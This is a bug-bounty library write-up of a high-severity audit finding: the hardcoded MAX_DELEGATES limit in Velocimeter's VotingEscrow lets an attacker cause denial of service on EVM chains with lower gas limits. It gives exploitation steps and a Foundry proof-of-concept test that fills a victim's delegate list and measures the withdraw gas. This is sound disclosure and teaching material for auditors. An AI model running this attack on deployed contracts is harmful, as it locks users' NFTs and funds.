# VotingEscrow MAX_DELEGATES value can lead to DOS on certain EVM-compatible chains

VotingEscrow's hardcoded MAX_DELEGATES=1024 causes withdraw/transfer to exceed block gas limits on chains like Scroll, locking user NFTs.

- Payout: Audit contest
- Severity: high
- Program: Velocimeter
- Found by: 0xpiken
- Disclosed: 2024-06-27
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/26
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-velocimeter%3AH-2
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity vuln:dos

**Target:** VotingEscrow smart contract
**Root cause:** MAX_DELEGATES is hardcoded to 1024, and moving that many delegates consumes ~23.6M gas, exceeding block gas limits on some EVM chains.
**Steps:**
1. Create a lock with `escrow.create_lock(TOKEN_1, 7 days)`.
2. For i in 0..MAX_DELEGATES-2: create a minimal lock from a fresh address and call `escrow.delegate(address(this))`.
3. Advance time by 7 days.
4. Call `escrow.withdraw(tokenId)` and observe gas used ~23.6M, exceeding chain block gas limit.
**How found:** Noticed MAX_DELEGATES hardcoded to 1024 and tested gas usage of withdraw with max delegates, comparing to block gas limits of EVM chains.
**Exploitation:** Attacker delegates minimum-value locks to a victim's tokenId until MAX_DELEGATES is reached, making any function calling _moveTokenDelegates (withdraw, transferFrom, merge, _mint) revert due to gas exceeding block limit, locking the NFT and funds.
**Insight:** When auditing for cross-chain compatibility, check hardcoded limits against block gas limits of target chains; array operations bounded by constants can still exceed gas limits.

## Proof of concept (copied exactly from the original report)

**Foundry test delegating to MAX_DELEGATES then withdrawing**

```
function testDelegateLimitAttack() public {
        vm.prank(address(owner));
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint tokenId = escrow.create_lock(TOKEN_1, 7 days);
        for(uint256 i = 0; i < escrow.MAX_DELEGATES() - 1; i++) {
            vm.roll(block.number + 1);
            vm.warp(block.timestamp + 2);
            address fakeAccount = address(uint160(420 + i));
            flowDaiPair.transfer(fakeAccount, 1);
            vm.startPrank(fakeAccount);
            flowDaiPair.approve(address(escrow), type(uint256).max);
            escrow.create_lock(1, FIFTY_TWO_WEEKS);
            escrow.delegate(address(this));
            vm.stopPrank();
        }
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 7 days);
        uint initialGas = gasleft();
        escrow.withdraw(tokenId);
        uint gasUsed = initialGas - gasleft();
        console.log("gas used:", gasUsed);
    }
```

